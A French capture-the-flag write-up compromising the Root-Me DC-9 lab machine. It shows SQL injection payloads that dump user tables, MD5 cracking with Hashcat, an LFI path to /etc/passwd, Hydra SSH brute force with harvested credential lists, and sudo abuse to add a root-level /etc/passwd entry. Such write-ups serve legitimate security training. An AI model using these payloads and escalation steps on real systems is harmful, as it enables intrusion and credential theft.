Pour commencer, j'utilise Rustscan pour identifier les services:
┌──(ReZ3R0💀machine)-[~]
└─$ rustscan -a ctf10.root-me.org
Le service SSH est ouvert sur le port 22 .
Un service HTTP est disponible sur le port 80 :
Nous avons une page http://ctf10.root-me.org/display.php avec des informations d'utilisateurs :
Nous avons une page http://ctf10.root-me.org/search.php :
Et une page http://ctf10.root-me.org/manage.php :
Nous avons une injection SQL possible dans le champ Search.
Un simple payload : ' OR '' = ' permet de le confirmer :
Qui renvoit la liste des utilisateurs :
Commençons par trouver le nombre de colonnes de la base de données.
Le premier payload est ' UNION SELECT NULL-- '
Nous allons le modifier jusqu'à ce que nous ayons un retour :
' UNION SELECT NULL-- '
' UNION SELECT NULL, NULL-- '
' UNION SELECT NULL, NULL, NULL-- '
' UNION SELECT NULL, NULL, NULL, NULL-- '
' UNION SELECT NULL, NULL, NULL, NULL, NULL-- '
' UNION SELECT NULL, NULL, NULL, NULL, NULL, NULL-- '
Avec cette dernière tentatives nous avons ce résultat qui confirme 6 colonnes :
Regardons de plus près les colonnes avec ce payload : ' UNION SELECT 1, 2, 3, 4, 5, 6-- '
Essayons d'obtenir des noms de base de données :
' UNION SELECT 1,2,3,4,5,concat(schema_name) FROM information_schema.schemata -- '
Essayons d'obtenir les noms des tables :
' UNION SELECT 1,2,3,4,5,concat(TABLE_NAME) FROM information_schema.TABLES WHERE table_schema='Staff' -- '
Essayons d'obtenir les noms des colonnes à partir de la table des utilisateurs :
' UNION SELECT 1,2,3,4,5,concat(column_name) FROM information_schema.COLUMNS WHERE TABLE_NAME='Users' -- '
Essayons de récupérer les données du tableau des utilisateurs :
' UNION SELECT UserID,2,3,Username,Password,6 FROM Users -- '
Essayons de récupérer les données du tableau des détails utilisateurs :
' UNION SELECT id,firstname,lastname,username,password,6 FROM users.UserDetails -- '
Maintenant nous allons utiliser Hashcat pour tenter de cracker le MD5 trouvé pour l'admin :
┌──(ReZ3R0💀machine)-[~]
└─$ hashcat -a 0 hash.txt Z3R0-Dico.txt -m 0
Nous avons le mdp : transorbital1 pour l'Admin ce qui nous permet de nous connecter :
Une LFI est possible : http://ctf10.root-me.org/manage.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd
Essayons avec Hydra de trouver des identifiants/mdp pour une connexion ssh
Premièrement je forme les fichiers avec les informations trouvées :
┌──(ReZ3R0💀machine)-[~]
└─$ nano users.txt
admin
marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2
┌──(ReZ3R0💀machine)-[~]
└─$ nano passwd.txt
transorbital1
3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0
Je peux maintenant utiliser Hydra (avec l'option -t 4 pour ne pas planter la vm):
┌──(ReZ3R0💀machine)-[~]
└─$ hydra -L users.txt -P passwd.txt -t 4 ctf10.root-me.org ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations,
or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-11-09 17:22:14
[DATA] max 4 tasks per 1 server, overall 4 tasks, 324 login tries (l:18/p:18), ~81 tries per task
[DATA] attacking ssh://ctf10.root-me.org:22/
[STATUS] 82.00 tries/min, 82 tries in 00:01h, 242 to do in 00:03h, 4 active
[22][ssh] host: ctf10.root-me.org login: chandlerb password: UrAG0D!
[22][ssh] host: ctf10.root-me.org login: joeyt password: Passw0rd
[STATUS] 89.33 tries/min, 268 tries in 00:03h, 56 to do in 00:01h, 4 active
[22][ssh] host: ctf10.root-me.org login: janitor password: Ilovepeepee
1 of 1 target successfully completed, 3 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-11-09 17:26:00
Après avoir effectué quelques recherches, l'utilisateur janitor va nous donner des informations précieuses :
J'ajoute ces nouveaux mdp au fichier passw.txt et réutilise Hydra :
┌──(ReZ3R0💀machine)-[~]
└─$ hydra -L users.txt -P passwd.txt -t 4 ctf10.root-me.org ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations,
or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-11-09 17:30:47
[DATA] max 4 tasks per 1 server, overall 4 tasks, 432 login tries (l:18/p:24), ~108 tries per task
[DATA] attacking ssh://ctf10.root-me.org:22/
[STATUS] 77.00 tries/min, 77 tries in 00:01h, 355 to do in 00:05h, 4 active
[22][ssh] host: ctf10.root-me.org login: fredf password: B4-Tru3-001
[STATUS] 69.00 tries/min, 207 tries in 00:03h, 225 to do in 00:04h, 4 active
[22][ssh] host: ctf10.root-me.org login: chandlerb password: UrAG0D!
[22][ssh] host: ctf10.root-me.org login: joeyt password: Passw0rd
Nous avons un nouvel utilisateur : fredf mdp : B4-Tru3-001
┌──(ReZ3R0💀machine)-[~]
└─$ ssh fredf@ctf10.root-me.org
fredf@ctf10.root-me.org's password: B4-Tru3-001
Linux dc-9 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Nous vérifions si l'utilisateur fredf a des permissions sudo en utilisant sudo -l
fredf@dc-9:~$ sudo -l
Matching Defaults entries for fredf on dc-9:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User fredf may run the following commands on dc-9:
(root) NOPASSWD: /opt/devstuff/dist/test/test
Nous ne pouvons pas faire grand chose avec cette executable test donc regardons ce qu'il fait :
fredf@dc-9:/opt/devstuff/dist/test$ ldd test
linux-vdso.so.1 (0x00007ffdccd7b000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f0a18ebc000)
libz.so.1 => /lib/x86_64-linux-gnu/libz.so.1 (0x00007f0a18c9e000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f0a18add000)
/lib64/ld-linux-x86-64.so.2 (0x00007f0a18ec9000)
ldd est une commande utilisée pour afficher les bibliothèques partagées qu'un programme ou un binaire utilise.
Essayons de l'executer :
fredf@dc-9:/opt/devstuff/dist/test$ ./test
Usage: python test.py read append
Curieux, il exécute un script python test.py recherchons-le avec la commande :
find / -name "test.py" 2>/dev/null
Cette commande cherche dans tout le système (/) les fichiers nommés test.py.
L'option 2>/dev/null redirige les messages d'erreur pour que la sortie soit plus lisible.
fredf@dc-9:/opt/devstuff/dist/test$ find / -name "test.py" 2>/dev/null
/opt/devstuff/test.py
/usr/lib/python3/dist-packages/setuptools/command/test.py
Lisons ce script :
fredf@dc-9:/opt/devstuff/dist/test$ cat /opt/devstuff/test.py
#!/usr/bin/python
import sys
if len (sys.argv) != 3 :
print ("Usage: python test.py read append")
sys.exit (1)
else :
f = open(sys.argv[1], "r")
output = (f.read())
f = open(sys.argv[2], "a")
f.write(output)
f.close()
Ce script attend 2 arguments :
- 1 le nom du fichier source à lire.
- 2 le nom du fichier de destination à écrire.
Easy Flag !
C'est simple nous allons lui demander de lire le passwd pour le stocker dans le /tmp
Ensuite nous aurons plus qu'à récupérer ce passwd pour valider le challenge !
fredf@dc-9:/opt/devstuff/dist/test$ sudo ./test /passwd /tmp/passwd
fredf@dc-9:/opt/devstuff/dist/test$ cat /tmp/passwd
Nous avons validé ce challenge sans vraiment passer root,
mais c'est aussi une manière rapide de valider une machine.
Après quelques lecture d'autres writeups je vois que nous pouvions facilement créer un utilisateur pour passer root.
Redémarrons une nouvelle fois la machine pour effectuer rapidement cette manipulation.
Premièrement lisons /etc/passwd qui contient des informations sur les utilisateurs du système.
fredf@dc-9:$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:106:113:MySQL Server,,,:/nonexistent:/bin/false
marym:x:1001:1001:Mary Moe:/home/marym:/bin/bash
julied:x:1002:1002:Julie Dooley:/home/julied:/bin/bash
fredf:x:1003:1003:Fred Flintstone:/home/fredf:/bin/bash
barneyr:x:1004:1004:Barney Rubble:/home/barneyr:/bin/bash
tomc:x:1005:1005:Tom Cat:/home/tomc:/bin/bash
jerrym:x:1006:1006:Jerry Mouse:/home/jerrym:/bin/bash
wilmaf:x:1007:1007:Wilma Flintstone:/home/wilmaf:/bin/bash
bettyr:x:1008:1008:Betty Rubble:/home/bettyr:/bin/bash
chandlerb:x:1009:1009:Chandler Bing:/home/chandlerb:/bin/bash
joeyt:x:1010:1010:Joey Tribbiani:/home/joeyt:/bin/bash
rachelg:x:1011:1011:Rachel Green:/home/rachelg:/bin/bash
rossg:x:1012:1012:Ross Geller:/home/rossg:/bin/bash
monicag:x:1013:1013:Monica Geller:/home/monicag:/bin/bash
phoebeb:x:1014:1014:Phoebe Buffay:/home/phoebeb:/bin/bash
scoots:x:1015:1015:Scooter McScoots:/home/scoots:/bin/bash
janitor:x:1016:1016:Donald Trump:/home/janitor:/bin/bash
janitor2:x:1017:1017:Scott Morrison:/home/janitor2:/bin/bash
Deuxièmement utilisons openssl pour créer un hash du mot de passe “rezero” pour l'utilisateur rezero
fredf@dc-9:$ openssl passwd -1 -salt rezero rezero
$1$rezero$MrI/N.qVKDlnutXk9ykCJ0
Troisièmement on ajoute la ligne rezero:$1$rezero$MrI/N.qVKDlnutXk9ykCJ0:0:0:root:/root:/bin/bash
au fichier modif_passwd.txt que je vais placer dans /tmp :
fredf@dc-9:$ nano /tmp/modif_passwd.txt
Nous avons bien rooter la machine !